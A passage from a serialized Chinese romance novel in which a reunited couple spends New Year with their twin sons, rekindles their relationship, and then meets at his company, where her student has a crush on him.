浓墨般的的深瞳看着发懵的人,声音沉郁而卑微:“我能理解你的孤单和脆弱,我也曾有很多这样的时刻,尤其是阖家团圆的节日,橙橙和芯芯不懂,但我知道这个家里缺了什么。” “以前还能克服,今天芯芯想你想哭了,我也很难,爸妈现在总在国外,过年回来想看孙子,我本来是想两全其美的,你能理解我吗?” 方楷莹点点头,“可我没准备好融入橙橙和芯芯的其他生活,你说不逼我,最后还是逼我做选择,我选不出来。” 甄世明弯起唇角,挺立的鼻梁轻轻蹭过她的脸颊,语气轻松地说:“你不是已经选完了吗?我听到了,你说要和我纠缠一辈子。” 方楷莹顿时无言,清灵明熠的眼睛睃向一边,这个不要脸的男人,只捡他喜欢的话听。 “我还说恨你。” 甄世明舔了舔唇上的伤痕,认真地说:“我不管是爱是恨,能占满你的心就行,或者我们都试试先把恨放下,让我和孩子一起陪你过完年,成吗?” 方楷莹一听要和孩子过完年,探寻的目光望向他,压着唇角默默点头。 “方教授,成吗?” 甄世明捏着她的下巴抬起脸,非得要她说出句话来,方楷莹无奈地拉长音调,说:“成” 这下他满意了,把方楷莹窝进羽绒服的发梢拨弄出来,按下电梯嘱咐她:“你先上楼看着孩子,我去车里拿些东西。” 转身往前走几步,他发现方楷莹就跟在身后,停下脚步,他笑着问:“你跟着我干什么?” “我跟你去。” 方楷莹不好直说,但她还是心里不安,担心甄世明记仇,怕他开车去撞人或者从后备箱里拎出棒球棍来。 黑白分明的眼眸盯着他,方楷莹抿住唇,脸绷紧紧,甄世明能看透她想什么,忽然乐了,揉揉她的发顶。 “我现在有两个孩子,没人比我更惜命,再说,我惹是生非,咱儿子以后不考公了?” 方楷莹眨眨眼,依然对他不信任,甄世明真没招了,揽紧她的肩膀带着走,到车前打开后备箱,方楷莹探头探脑,后备箱里全是大包小包的衣服玩具,棒球棍那东西太占地方,早被甄世明丢掉了- 他们拎着大包小包回到家里,两个孩子正在儿童房的新床上来回打滚儿。 哥俩在爸妈不在家时,已经自己分好了床铺,芯芯晚上尿多,就睡在下铺,橙橙在上铺蹦蹦跳跳。 两个孩子攀上床梯,又从另一头的滑梯滑下来,玩儿得后背大腿都出了汗,秋衣秋裤都湿透,依然乐此不疲,脸上绽放着天真可爱的笑容。 幸亏甄世明早有准备。 他拉开旅行袋,刨出两套卡通睡衣,一件丢到上铺,一件丢到下铺。 孩子们都觉得上下铺新奇,爸爸喝止之后橙橙和芯芯就老老实实待在床上,芯芯在下铺和上铺的哥哥捉迷藏,细长脖子一扭一扭,每次在下铺伸出脑袋,两个孩子就呵呵傻笑。 “爸爸,我们今天就睡在这儿吗?” “嗯,忆苦思甜。”甄世明说。 话音没落,就被方楷莹擂了一拳。 他夸张地咳咳两声,身体歪倒在芯芯的床上,扯住芯芯的裤角,用垂死苍苍的语气说:“看到了吗芯芯,这就是惹妈妈生气的下场,咳咳咳咳咳” 多大岁数了,没正形。 方楷莹唇边泛笑,踢他一脚。 甄世明挣扎起身,鬼鬼祟祟从旅行袋里掏出自己的睡衣,捧在胸前装乖问:“方教授,请问我睡哪儿?” 方楷莹盘着手臂,抿了会儿唇,毫不留情地说:“你回自己家去。” 说完扭身走了。 甄世明拿着睡衣追在身后,悄咪咪地钻进主卧,半晌没出来,方楷莹喊了两声也没动静,干脆过去查看。 他抱着睡衣站在床边,眉头皱起深深思考,最后问方楷莹:“姓汪的以前是不是也睡这儿?” 方楷莹:“嗯。” 他恨恨咬唇,呵呵笑了声,把头一拧,气哼哼说:“我不睡这儿。” “我也没让你睡这儿,你可以睡沙发。”方楷莹眉头一抬,淡淡道。 “方楷莹!你怎么不让我睡地下呢?”少爷眉棱微拧,高挺的鼻梁皮肤皱起。 “也行,你想睡吊顶上也行。” 甄世明:“” 橙橙换完衣服从卧室走出来,就看到自己的一对父母刚才还“打情骂俏”,现在又各自抱着手臂坐在沙发,互不搭理,就像他和弟弟吵架时那样。 小孩穿着卡通睡衣叉腰站在电视机前,学着幼儿园老师的模样严肃地批评他们:“爸爸妈妈,你们不要像小孩一样,我们握握手,还做好朋友!” 方楷莹和甄世明对视一眼,又僵着扭脸,橙橙一屁股坐在他们中间,撑着脸无语。 芯芯也换好衣服走出来,但爸爸妈妈中间再坐不下他,他在地上溜达来溜达去,反复挡住电视,看起来也很无聊。 方楷莹终于清清嗓开口:“芯芯,妈妈房间里有给你和哥哥的新年礼物,你去找找看?” 小孩子兴高采烈,相继跑入主卧,方楷莹看着甄世明冷若冰霜的脸,抿抿唇,说:“你送我的礼物我收下了,那个包。” “哦。”甄世明还不搭理她。 她主动一次遭拒,又重新高冷起来:“但我不喜欢,下次别送。” “没下次。”甄世明说。 方楷莹:“……” 芯芯在主卧翻来翻去,终于用一双小手捧着礼物走出来,小心翼翼放在茶几,笑起来露出一排洁白的牙齿,天真地问:“妈妈,这是给我的新年礼物吗?” 方楷莹霎时变了脸色,撑着身子要去抢夺,却被一只有力的手臂横挡住腰,一下子又跌回沙发。 “不、不是这个。” 此时橙橙抱着两个无人机模型跑出来,喊着说:“我先找到的!是这个电子蜻蜓!” 而甄世明凭借身高臂长的优势,率先把茶几上的玩具拿在手里掂了掂,看向方楷莹时眼里带着只有她懂的笑意。 “呵…俄罗斯套娃。” — 方楷莹彻底败下阵来。 早在她怀孕时,甄世明为了哄她开心,送过很多东西,名贵的珠宝首饰、奢侈品包包,她都不喜欢,走的时候也一件都没拿走,唯一带走的东西,只有这个俄罗斯套娃。 这个礼物对她来说很特别,藏着她和甄世明最美好的时光。 她最喜欢的是里层实心的最小一粒,实实在在的小木头,也被雕琢得精致,有时她看着这个,能感觉自己的心也只是木钝,并非空空如也。 她的心里一定有真真实实存在的感情,只是藏得很深。 现在这沉甸甸的小东西被甄世明捧在手心,追忆起自己最初爱方楷莹时模样,赶着风雪去买她喜欢的东西,也是傻乎乎的。 现在又是为什么呢? 他们都不知道。 时过境迁,旧物还在。 一切都还有机会。 “你还给我。” 她尖尖叫一声,又如十七岁那样扑来抢夺,现在的甄世明依然能敏捷躲闪,把那小东西握在手里,任她一根根去掰他的手指,她的发丝在皮肤间柔蹭,那些有关于爱的痒意重新注入心脏最深处。 痛的是久治不愈的伤口,忽然的痒是内里正在缓缓修复,而她是唯一的药- 方楷莹好不容易抢回自己的俄罗斯套娃,小心呵护着放回原处,出来时两个乖孩子各枕爸爸的一条腿,手里拿着无人机模型乐呵呵地研究,而孩子的爸爸手拿一颗橘子,一瓣一瓣均匀分配塞进孩子嘴里。 她刚在另一条沙发坐下,芯芯就在沙发翻着跟头滚到她腿边,枕在她的腿上,问:“妈妈,我们什么时候放烟花?” “额……”方楷莹尴尬,也答不出来。 “今天没有,明天给你们补上。”甄世明风轻云淡地说,他对孩子总是有种游刃有余的随意感。 孩子从小跟着他,他知道孩子会因为什么哭闹不止,也知道怎么哄孩子才不会哭闹,总体来说,他会和孩子相处。 两下对比,方楷莹总是草木皆兵。 满足不了孩子的要求时她会不好意思,除夕也没想过甄世明真的会带孩子来,所以准备的东西不多,她耷着眼闷闷不乐,直到甄世明隔空丢给她一个橘子。 “今天不放烟花也没关系。” “但没有妈妈不行,是不是芯芯?” “是!”芯芯抱住方楷莹的大腿。 芯芯自从来了这儿,抱住妈妈后再也没哭过,只是觉得有一点点无聊,甄家很大很好玩儿,但他更想妈妈。 吃年夜饭看春晚,甄世明倒了两杯醇香红酒,给孩子准备两小杯气泡饮料,四个人,大手小手,一起干杯。 孩子们因为无聊很快就睡倒在沙发上,她和甄世明各自抱一个,把熟睡的孩子送回卧室,盖上卡通小棉被,排着队在孩子的左右脸颊吻一下,又站在床边面带微笑看了会儿可爱的睡颜。 卧室门关上,方楷莹继续坐在沙发旁看电视,甄世明进了主卧,再出来时换上睡衣,还自己抱了一床被子和枕头。 方楷莹用小叉子把一块酒渍菠萝送进嘴里,故意气他:“你怎么知道被子别人没盖过,枕头别人没睡过?” 他嫌弃地把被子扔回卧室去,在客厅到处找,终于找到一个新抱枕,重重放在地毯上,长腿一屈,说:“我今儿就睡地上,用不着被子。” 还说她倔,说她犟,他又好到哪里去? “随便你。”方楷莹不愿意管他,让他折腾,自己翘着腿又吃一块菠萝。 甄世明折腾累了,盘腿坐在地毯仰视她,她喝了红酒又吃酒渍菠萝,净白的脸颊早已透出一层淡淡的粉,他眯眼看着她,脑子里净想艳情画面。 “给我喂一块。”甄世明挑眉道。 方楷莹用叉子送过去,手悬在空中,他却捉住手腕,偏头吻住她的手腕,从腕骨一直亲到指尖,不时用舌尖轻舔肌肤。 她的脸颊和耳后都更热烫,手也微微颤抖,不知道他都是从哪儿学的这些勾引人的浪荡动作。 随着甄世明吞咽时喉结滚动的动作,方楷莹的喉窝也陷进锁骨,呼吸不自觉就急了几分。 酒精,都怪酒精。 她醉眼迷蒙,定了定神,欲念的火灼着全身,方楷莹清了清嗓,抬手把头发捋到耳后,低声问道:“你困了吗?” 甄世明衣领松垮,露出坚硬的锁骨和胸肌,卷起袖口展示线条分明的小臂,弯唇浅笑,“想睡我?” 方楷莹咬咬下唇,眼睛一动不动盯着他,甄世明抬手把人扯下来,抱坐在怀,下巴抵着发顶,方楷莹仰头亲吻他的喉结,他却用喑哑发沉的声音故意问道:“不看春晚了么?” “去卧室。”方楷莹显然急不可耐。 “我不在床上睡,除非换床。”甄世明这时候倒非常有原则,冷着脸拒绝。 “换床单不行吗?” “不行。” 方楷莹以为今晚没戏,哦了声,蔫蔫的坐在他怀里,春晚的歌舞也不好看了,小品也不好笑了,她唇角弯下不happy了。 “今晚在地毯上陪我睡,明天我来换。”甄世明在她耳边悄悄说话,鼻梁蹭蹭她的颈线,手摸进衣襟,一贯的混蛋作风。 “可以吗?阿莹。” 第60章 方楷莹低下头, 就能看到衣料下肆意的一只手,身体后撤一点,呼吸就在耳边更重, 甚至能听到他喉结滚动的细微声音。 “好不好, 阿莹?”他轻舔一下耳垂,怀里的人身体瑟瑟发抖, 肩膀缩起, 锁骨窝深得像一方小潭。 他把呼吸注进潭中,低声磨人:“我知道你不想在山顶别墅住,你给孩子换床, 为什么不能让我也换?还是只要孩子不要我吗?” 三十三岁的男人, 竟然和五岁的儿子比较起来。 方楷莹只能坚持到《难忘今宵》的歌声响起, 闭上眼睛,彻底投降。 “行行行你别咬。” 甄世明的头微微抬起, 松开唇齿,奸计得逞地坏笑, 把人扑倒在地, 散乱的黑发铺在奶油白色的地毯,她眼尾含泪, 长直的睫毛颤颤遮住动情的一双眼。 多少个午夜难眠时, 他只会想起这样一张脸。 薄唇紧抿时只露出的一点点唇尖, 双眉蹙起时肌肤间的纹路,忍耐叫声时下颌绷紧的血管, 这些让他难忘的细节, 多年时光都不曾磨损分毫,还是那么楚楚动人,活色生香。 本该是旖旎如梦, 怎料他忽然停住,让她不上不下,喃声问道:“怎么了?” 甄世明手肘撑着地毯,凝视着她的脸,忽然问:“他亲你哪儿了?” 方楷莹猝不及防:“” 该来的总会来。 她想躲,却被双手死死固住腰身,与她紧紧相连,甄世明怒眼紧盯,想在她脸上找到被人吻过的痕迹。 是福不是祸,是祸躲不过,方楷莹无奈伸出手指,点了点自己的额头,又解释:“国外总是这么亲的,表达友谊…” 甄世明阴恻恻地冷笑,她解释就解释,还敢跟他再提国外,简直气死人不偿命! 甄世明咬咬牙,热烫的唇落在额头,狠狠嘬吸几秒,方楷莹察觉事情不妙,扑棱双臂掐他挠他,但为时已晚。 方楷莹的额头留下一片红印,甄世明还觉不解气,重新压唇上去,方楷莹一边躲闪,一边推搡,让他退出去,他也偏不。 两个人都被激起斗志,互不相让,做一场爱像打架似的,他留下吻痕齿痕,她留下掐痕抓痕,仿佛都要把多年的恨意通过这无声且激烈的性.爱宣泄出去- 这一场激烈的性.爱从直播的《难忘今宵》开始,到重播的《难忘今宵》结束。 彻底停歇下来,又紧紧拥住彼此。 方楷莹完全脱力,甄世明用大衣盖住她汗涔涔的身体,用指腹抹去她眼角残留的泪花,重新把人拥入怀里,紧紧抱住,心跳在相互拥抱中渐渐平稳下来。 “甄世明,我们再试一次吧。” 她的双手搂紧精悍的腰身,脸颊埋进他的胸膛,低声而慎重地说。 甄世明抬起她的下巴,恶劣地笑笑,眉棱微挑道:“你确定?我怕你身体受不住,还得在床上躺一天。” 方楷莹:“” 好不容易鼓起勇气向前走一步,现在只想后退一万步,她嫌弃地闭上眼睛。 过了很久,甄世明才让大脑从情欲中清醒过来,如梦初醒般问道:“你刚才是说…重新开始吗?” 方楷莹:“不是。” 甄世明翻身压过来,双眼定定看着她,幸福来得突然,让人不敢相信,只有鼻尖抵着鼻尖,嘴唇触碰嘴唇,才让人敢于相信一切真实。 她真的,选了他。 旧年从此刻结束, 新的一年开始了- 翌日一早。 方楷莹沉睡在卧室床上,她太困了,都想不起来是怎么被甄世明抱上的床,只是他依然坚持不睡床。 甄世明在她熟睡时打开儿童房的锁,把孩子叫起床,指挥他们排队洗漱,他自己在厨房围着围裙,运用多年积累的儿童辅食经验,亲自上手剁馅、和面、包饺子。 卧室飘进香味,方楷莹饥肠辘辘起床,顶着凌乱的头发闭上眼睛追寻香气来源,再一睁眼,撞上扎着围裙的甄世明。 他身上带着饺子汤的热气,骨节分明的双手沾着面粉,露出痞气的笑容。 “你怎么不一头扎锅里呢?” 方楷莹:“……我饿了。” “先别饿,”甄世明点点她的额头,笑着说:“你好好想想怎么和孩子解释这个吧。” 方楷莹跑到卧室拿出镜子,脑门儿一片粉印吻痕,甄世明这个王八蛋! 作恶者倚在门口,眉头一挑,闲闲地说:“你可以和孩子说自己撞在了很烫很硬的东西上,毕竟你昨晚就是这么说的。” 方楷莹脸上一阵阵发热,狠狠飞过眼刀,恨不能扑上去将他千刀万剐! 孩子们洗漱过后带着清新的薄荷牙膏味儿扑在她身上,一仰头就问妈妈脸上的印子是怎么弄的。 方楷莹无语很久,最后把问题推给甄世明:“去问你爸爸。” 两个孩子把疑惑目光转向爸爸,甄世明脸色如常,揪住两个小男孩儿,抚摸他们的后脖颈,说:“我昨晚亲的,爸爸也给你们亲一个?!” 两个孩子笑着逃窜。 方楷莹暗骂他不要脸。 方楷莹遮过吻痕以后,饺子也出锅,一家四口围坐餐桌一起吃饺子。 她掏出提前准备好的红包,知道孩子们从小在甄家过年,红包一定必不可少,心里惴惴,觉得自己的红包必定不如甄家给的厚,也许孩子会嫌弃。 但她意外发现孩子们对钱没概念。 橙橙和芯芯把红包拆开,钱掏出来竟然还给了她,只把红包拿在手里看来看去,用手指仔细抚摸上面的刺绣纹路。 方楷莹被这一套操作惊呆,实在摸不着头脑,甄世明却习以为常,反问道:“孩子不爱钱不是好事儿吗?以后过年你多买两个好看的红包就好了。” 方楷莹:“……” — 往年大年初一,吃过早饭的甄橙甄芯就该收拾得端端正正迎接登门的客人,被各种认识的、不认识的哥哥姐姐叔叔阿姨包围,被捏脸摸头、夸赞恭维。 但这一年不同了。 他们在妈妈的家里,穿着秋衣秋裤,四仰八叉地躺在沙发,边看动画片边吃零食糖果。 爸爸顾不上管他们,拜年电话不停不歇打进来,他得一边谈笑风生,一边黏在妈妈身上,甚至把靠近的芯芯扒拉开。 “你烦不烦?” 方楷莹甩开搭在肩上的手,嫌他电话多吵死人,他乐呵呵哄说:“再接一个就静音。” 送货上门的电话打来,他告知楼层,等了会儿,几个搬运工就把新床搬进方楷莹的家门。 方楷莹站在原地傻愣,眼睁睁看着旧床被抬起搬走,差点忘了甄世明还是个行动派,昨天提出要求,今天就叫人换床。 甄世明潇洒付给三倍工资,并反复跟人强调说把旧床拉远点儿,卖了或者砸了,最好劈成柴烧火用。 方楷莹:“” 大少爷讲究,床品也得换新的,兴高采烈把新床品洗净烘干,重新铺得整整齐齐。 一切都完成,甄世明终于躺在床上喘了口大气,他累得腰酸腿疼,但绝不承认是因为昨天晚上纵欲过度。 新年初始,甄世明没做衣来伸手饭来张口忙于应酬的少爷,在方楷莹家里干了一天苦力,但他心里开心,和刚谈恋爱时候一样开心。 — 孩子们盼着放烟花,他一个电话打给之前去过的度假村,另一个电话打给与甄家合作的烟花厂。 定好晚上的餐食和烟花表演,下午由方楷莹开车出发,他累得在车上打盹儿。 这一路方楷莹的心情也不一样,她看看倒车镜里的孩子,又看看撑着脸补觉的甄世明,第一次觉得过年可以这么繁忙,这么充实,这么幸福。 这应该是个很好的开始。 度假村的经理迎接了他们,此人每次见到甄世明,都得问问他们的镇店之宝是不是还好好活着。 甄世明这才忽然想起已经两三天没喂鱼了,这样想来,生活中有太多需要他在意和照顾的人和物,他不觉得辛苦,人不就是靠这些活着吗? 立刻打电话让山顶别墅的保镖喂鱼,幸福冲昏他的头脑,他的思维已经很多年没有这么活跃过,总是想一出是一出。 “我还得问问你隔壁那家卖不卖房,你说我应该把隔壁买下来,还是买个新住所?最好选在研究院和幼儿园折中的位置。” 方楷莹赶忙按住那双再次拨打电话的手,觉得他可能太累又太兴奋。 “我知道你很急,但你先别着急……” 甄世明眨眨眼,问:“你什么意思?” “我的意思是慢慢来。” “慢慢来是什么意思?”甄世明不乐意了,混不吝般说:“从认识名字开始吗?” 他捏住她的手上下摇了摇,“你好,我叫甄世明,很高兴认识你,这是我的两个孩子,哦对了,你是孩子的妈妈哦。” 方楷莹被他气笑了- 晚上的烟花是甄世明安排的,从烟花厂直接运到度假村。 晚饭后,一家四口溜溜达达,方楷莹牵着芯芯的小手,甄世明牵着橙橙的手,也把方楷莹的手揣进大衣口袋里牵住。 夜风微微凉,度假村的湖心亭是最佳观赏位置,方楷莹蹲下给两个孩子戴好围脖和帽子,一道烟花倏然升腾,拉开烟花雨的序幕。 绚烂烟花在天空开出一朵朵七彩祥云,小孩子高兴地蹦跳起来,小围脖在胸前一甩一甩,两只小手臂上下挥动,仿佛伸手就能触摸到这绚烂。 方楷莹也仰起头,她不笑的时候气质疏离恬淡,就算笑起来,那张薄唇也让整个人都透着冷感,但她眼睛明亮,所有灵气都凝在一双黑白分明的眼中。 别人觉得她不好相处,总是拒人于千里之外,但甄世明觉得不是这样,因为她侧目凝眸时,眼里有他。 烟花秀快要谢幕,她的眼睛忽然更闪亮,唇角的笑弧比烟花更灿烂。 天际出现最后一道符号,赤红的光亮照透夜色,心中难明口中难言的情绪挂满天际,久久不散。 【HAPPY】 作者有话说:读者朋友们: 这篇文章再有一个大情节就要收尾了,年前基本可以完结正文。[红心]《 》 60-70 第61章 年后, 方楷莹重新投入到工作中。 她得知三个消息。 一是蓝梦终于赶上了第二批次春季博士的招生。这个消息是蓝梦告诉她的,虽然早就没有悬念,但两人还是出去吃了一顿昂贵的日料庆祝。 二是温文的无人机通过最终测试, 将用于未来信息化战场。这个消息是温文打电话告诉她的, 他说虽然爱情没有发生,但革命友谊还在。 两人只客客气气聊了五分钟, 因为甄世明竖起耳朵, 把脸贴在手机后壳光明正大偷听。 “什么革命成果要在大晚上分享?” “我就说他贼心不死!” 方楷莹:“……闭嘴。” 三是李副院长被纪检带走调查。 这个消息是新上任的副院长告诉她的,新任副院长非常重视方楷莹,上任没几天就主动下来考察参观她的实验室。 两人在办公室聊了一个上午, 她把方楷莹所有研究方向和想法都了解了一遍, 并鼓励方楷莹再次申请大基金。 “方向很前沿, 但是也很耗费时间和经费。”副院长中肯评价,也耐心劝告。 “挑战性很高的方向, 基金不批准也情有可原,也许投钱进去几年见不到成果, 甚至可能听不到个响动, 评委会确实要慎重考虑。楷莹,也许研究别的方向会轻松一点儿, 以你的能力也更容易出成果, 有了成果才好再评杰青、院士。” 方楷莹沉声, 并不认同这观点。 她知道人家是帮她规划未来,也知道不该与前来示好的领导争锋相对, 但她实在忍不住。 “我的导师玛丽杨教授告诉我, 现在学术风气浮躁,大家都不甘愿坐长期冷板凳,哪个方向热门就有前赴后涌挤入的人, 学术做得像生意,捞到名利双收最好,但真正的瓶颈总要有人解决。” “她说我是有能力的人,研究轻松的课题对我来说是另一种荒废,我不能认同您的观点,我认同她的观点。” “所以,我现在知道自己的能力,想挑战别人不愿意挑战的课题,没有那么多想法,只想解决问题。” 副院长沉默良久。 大概每一个立志献身科学事业的人都曾有过这样的想法,但无奈被人情与制度裹挟,渐渐迷失,就连她自己回头看,也已经偏离好远,总是想着当了杰青就好,当了院士就好… 很久没有见过这么纯粹的科研者。 她深叹口气,拍了拍方楷莹的肩膀,语重心长说:“我说这些也都是为了你好,毕竟你有家庭,还有两个孩子,我想让你更轻松一些,但如果你已经选了这条路,我也肯定尽能力为你保驾护航。” 副院长许给她尽力帮助的承诺,本以为她会说些客套话感谢,方楷莹却站在原地愣神,弄得大家怪尴尬,还是陪同考察的教授说了两句漂亮话圆回场面。 考察组走后,方楷莹脑中依然凌乱。 她在思考一个问题:为了保护橙橙和芯芯,她从未将自己有孩子的私事告诉过研究院的同事,和这位副院长更是萍水相逢,那么,对方是怎么知道她有孩子的? 方楷莹第一时间想到甄真。 甄真接她电话时反倒生气。 “我怎么知道?我和新任副院长不熟,为了帮你转圜关系,我年前还亲自上门拜访过一次李院长,谁成想他年后忽然落马了,这叫什么事儿…” 方楷莹:“……” 甄真一边撸狗一边觉得不对劲儿,仔细想了想,这怕是和甄世明脱不开关系。 “你问甄世明吧,你在部队那段时间他不知在忙什么,反正我总能看到他的车停在研究院。” 方楷莹心里有问题,就一定要找到答案,回家之后见甄世明正在厨房做晚饭,她静悄悄走到他身后,第一句便问:“你和我的新任副院长是不是认识?” 爱心鸡蛋差点儿翻出锅去,英秀脸庞唇角抽动,“你怎么像鬼一样,吓死我了……” 方楷莹:“……抱歉,你和我的新任副院长是不是认识?” 甄世明默默不语翻鸡蛋。 方楷莹盘着胳膊,“果然是你!我不是不让你插手我的事儿吗?” “什么你的我的,你人是我的,事儿就是我的。”他理直气壮说:“你别管我是怎么干的,反正以后研究院有人替你撑腰就是了。” 甄世明不了解学术圈,但他了解斗争。当年军阀混战奉系直系打得水深火热,如今学阀也分派系有斗争,他搜集了一些学术造假和收受贿赂的证据,打包当成见面礼送给如今这位新任副院长。 派系斗争向来如此,这些事情甄世明从小看到大,早就见怪不怪,借刀杀人风险最小,往往是政客们最惯用的计策。 他只是…唯手熟尔。 “我的证据也不是捏造,这种人落马实属必要,你就当我是朝阳群众、热心市民,为民除害是我义不容辞的责任,营造风朗气正的科研空间是每个公民应尽的义务!” 甄世明挥舞炒勺,义正言辞。 方楷莹:“”- 考察组走后,方楷莹更加忙碌。 军方的咨询费用已经到账,实验室暂时转危为安,但这次事件也让方楷莹有了忧患意识,觉得有精力的情况下还得搞几个横向项目挣钱。 她不在的这段时间,吴忧使出浑身解数把夜照科技的大项目拉了回来,方楷莹看过合作意向书,表示可以合作,但想先和负责人谈谈。 吴忧再次作为联络员与对方交涉,对方又反复确认方教授会不会出席见面会,漂亮的姐姐在电话里告诉她:“如果你再找人来冒充方教授,那么我死定了,你也死定了。” 吴忧:“……肯定是原装正版。” 约好时间,方楷莹开车载着吴忧前往夜照公司,吴忧特意化了全妆,一路既紧张又兴奋,一会儿照镜子整理发型,一会儿补补妆。 “一会儿有约会吗?”方楷莹悠然开车,看不出吴忧紧张,“有约会的话我们尽量早点结束。” “不用,不用,晚点结束。” 方楷莹:“?” 她不多问,但吴忧话多:“导儿,如果这个项目成了,能不能给我记一个大功?比如让我顺利毕业,或者在你的新论文上加我的名字?” 方楷莹想了想,说:“你很聪明也很用功,不用担心毕业的问题,况且我的新论文你也有参与实验,当然会加你的名字。” 年轻的女孩一下子尖叫起来:“真的嘛?真的嘛?真的嘛?!” 方楷莹真的快要聋了,眉头浅皱,单手捂住一只耳,“你小声点儿…” 吴忧毕竟年轻,控制不住情绪,一下子张开双臂想要拥抱她的绝世好导师,但绝世好导师一脸拒绝,说话冷冰冰的。 “有话就说,别动手。” 她乖乖放下手臂,双手捧脸,一脸崇拜地看着方楷莹,“我都不敢想我的履历会有多么精彩,这样我以后肯定能去大公司拿到好offer!” 方楷莹:“ 你不打算留校吗?” “不打算。”吴忧小手一挥,她对未来有自己的规划:“我以后搞去企业科研,大企业资金充足,那个夜照科技就很专业对口,其实,经过我这些天的不懈努力,已经争取到了去他们公司实习的机会。” 方楷莹现如今对待学生的方式都是沿袭着玛丽教授对她的方式,她其实是希望吴忧一直跟着她的,但年轻人有自己的想法,还为自己的想法做出实际努力了,她不能泼冷水,也不能阻拦别人的脚步。 “好吧,你既然有自己的追求…” 吴忧双手交握,一脸花痴地笑嘻嘻:“其实我想去夜照科技也有另一个非常重要的原因,他们公司的总裁……太帅了!” 方楷莹:“……” 或许可以适当阻拦一下。 “那一米九的身高,那完美比例的身材,最重要的是那绝世神颜!简直和我想象中的小说男主一模一样!而且您不觉得我们的相遇就像爱情喜剧里演的那样吗?” 方楷莹摇头,并没有感同身受,反而递给她一张纸巾:“先擦擦口水。” 吴忧闭上眼睛幻想,直接戏精附体,给方楷莹演了一段小剧场。 “这就是小说里的桥段!多么戏剧化的相遇!而且我申请去夜照科技实习都是他特别批准通过的,这不就是《霸道总裁爱上菜鸟实习生的我》吗?” 当然,吴忧也有自己的担忧。 “您说如果我们爱得死去活来,但他妈不同意这门婚事,甩给我一千万让我离开他,我该怎么办?” 方楷莹:“……你少看点小说吧。” 吴忧把自己给说笑了,鼓起的脸颊像颗桃子,又立刻乐观起来,“我想他会马上给我一个亿求我不要走,最后我全部笑纳,哈哈哈哈哈哈…” 方楷莹被吴忧的笑声感染,也噗嗤乐了,抚摸下吴忧的后脑勺,问:“真有这么好的事儿?” “也不算非常完美,帅哥虽然保养得好,但也三十多岁了,我们可能会有代沟。”吴忧托腮,严肃慎重地说。 方楷莹警惕起来:“你们相差几岁?你小心被老男人骗了。” “嗯…九岁吧。” 吴忧不觉得是什么大问题,但方楷莹已经两眼一黑。现在的年轻人都怎么了? “人无完人嘛我又不傻。”吴忧想得挺开,“就冲那张脸,冲那百亿补贴,冲那自带孩子不用我生,也算是完美伴侣!” 方楷莹猛踩一脚刹车。 “他还有孩子?!” 吴忧对此不解,知道方楷莹平时喝仙琼玉露,不食人间烟火,但她都不了解同窗的具体情况吗? 她眨巴着水灵灵的大眼睛,弱弱地问:“导儿,那个夜照公司的总裁不是您的同窗吗?” 方楷莹也对她眨眼,“什么同窗?” “当时他们来参观,他身边带的秘书姐姐说你们是同窗关系呀。” 方楷莹隐隐感觉不妙,但想破脑袋也没想出是哪个同窗长相惊为天人还有单身带娃。 如果说有这样一个人,那就是 “你说的那个人,叫什么名字?” “……甄世明。” 第62章 方楷莹又是两眼一黑。 车已经停在夜照公司的停车场, 吴忧再次对镜整理发型,下车时却发现车门一直锁住。 “吴忧,咱两谈谈。” 方楷莹话虽平静, 目光却盯着虚空处, 人仿佛被雷劈到还没缓过来,双目空洞的样子吴忧从来没见过。 “怎么了?”吴忧担忧问道。 方楷莹不知该怎么和她谈这件事, 沉默一会儿, 试探问道:“你和甄世明见过几次面?” 吴忧:“一次。” 方楷莹短暂地松口气,还好还好。 “我觉得吧…”方楷莹捏捏后颈,微笑着尝试委婉引导:“你们不合适。你这么年轻, 他已经老了, 还有两个孩子, 他配不上你” 吴忧嗨了一声,说:“那咋了?” 方楷莹张了张嘴, 无言以对。 吴忧拉起她冰凉的手,颇有种今天不是来开会, 今天是来送嫁的感觉, 她的好导师舍不得她,面容紧绷, 眼含悲情, 双手都有些颤抖。 “我知道您是怕委屈了我!”吴忧鼻头一酸, 又演起来:“没关系!你放心!我年轻,和小孩能玩儿得来, 再说八字没一撇” 方楷莹深吸一口气快要晕过去, 把手抽出来,又重重地压在吴忧手上,语重心长道:“我不是怕委屈了你, 我是怕委屈了我。” 吴忧:“?” “事到如今不能瞒你,”她寡淡的眉眼掠过一丝起伏,声音还是淡的:“我和甄世明——” “咚咚” 甄美丽在车外敲窗。 “方大教授,早就看见车进来了,怎么不下来呀?”甄美丽脸上挂着虚情假意的笑容前来迎接,她穿着单薄,不停搓着手臂,看起来是等了很久才来敲窗。 方楷莹把车窗降下一条缝,冷言冷语:“你先等等,我有话和吴忧说。” 车窗又升上去,甄美丽气得鼻歪。 “我和甄世明——” “咚咚” “我们俩是——” “咚咚。” “啧!” 方楷莹扭脸睖过去,如刀目光停于英秀脸庞之上。 他穿黑西裤,衬衫洁白平整,袖口挽到小臂,金丝眼镜下眉眼透出风流,一笑起来更是浪荡不羁。 难怪吴忧一眼就看上了他。 方楷莹每天看他现在都迷离了一瞬。 再看吴忧,早就脸红了。 方楷莹:“” “方教授架子这么大?”甄世明唇角浅弯,挑眉笑道:“是打算让我亲自抱你下车么?” 方楷莹心里有气,咬牙切齿,摔门下车,理都没理他,一个人走在前面,留下三个人面面相觑,甄美丽无辜,吴忧迷茫,甄世明无辜又迷茫。 落座会场,吴忧拿出ppt来介绍她的好导师,方楷莹则一直心不在焉,偶尔看向甄世明,那眼神像把利剑,简直要把他穿透。 这怪异眼神甄世明也看不懂了,但他猜测方楷莹大概是终于被他迷倒了,脑袋里估计是在想艳情画面。 不然怎么直勾勾地看他? 他扯扯领带,坐得端正,却在桌下挪动脚尖,薄底皮鞋轻轻抵住她的运动鞋边,用微妙勾人的眼神回看她。 桌下的运动鞋躲开,他又追挪过去,最终被方楷莹不留情面地狠踩一脚。 “嘶~”甄世明皱起眉头。 “怎么了?甄总。” 认真汇报的吴忧瞬间紧张起来。 甄世明拿起签字笔,抵了抵太阳穴,做深沉思考状,“没什么,你说得很好。” 吴忧脸颊浮起两朵绯红。 方楷莹实在看不下去了,借口去卫生间,一走出会议室就立刻就给甄世明发微信。 【你给我出来!】 甄世明看到微信后微微一笑,旋即宣布暂时休会,随着方教授的脚步一前一后出了门。 方楷莹还在想怎么骂他,忽然就被人拽住手腕,一路扯进总裁专用电梯里。 电梯门一关,方楷莹还没喘匀气,高大身躯就饿狼扑食般覆过来,双手捧住脸,灼热的呼吸直扑面颊,他喑哑着悄声:“我知道你想什么,我也想。” 方楷莹:“你知不知道我想扇你!” 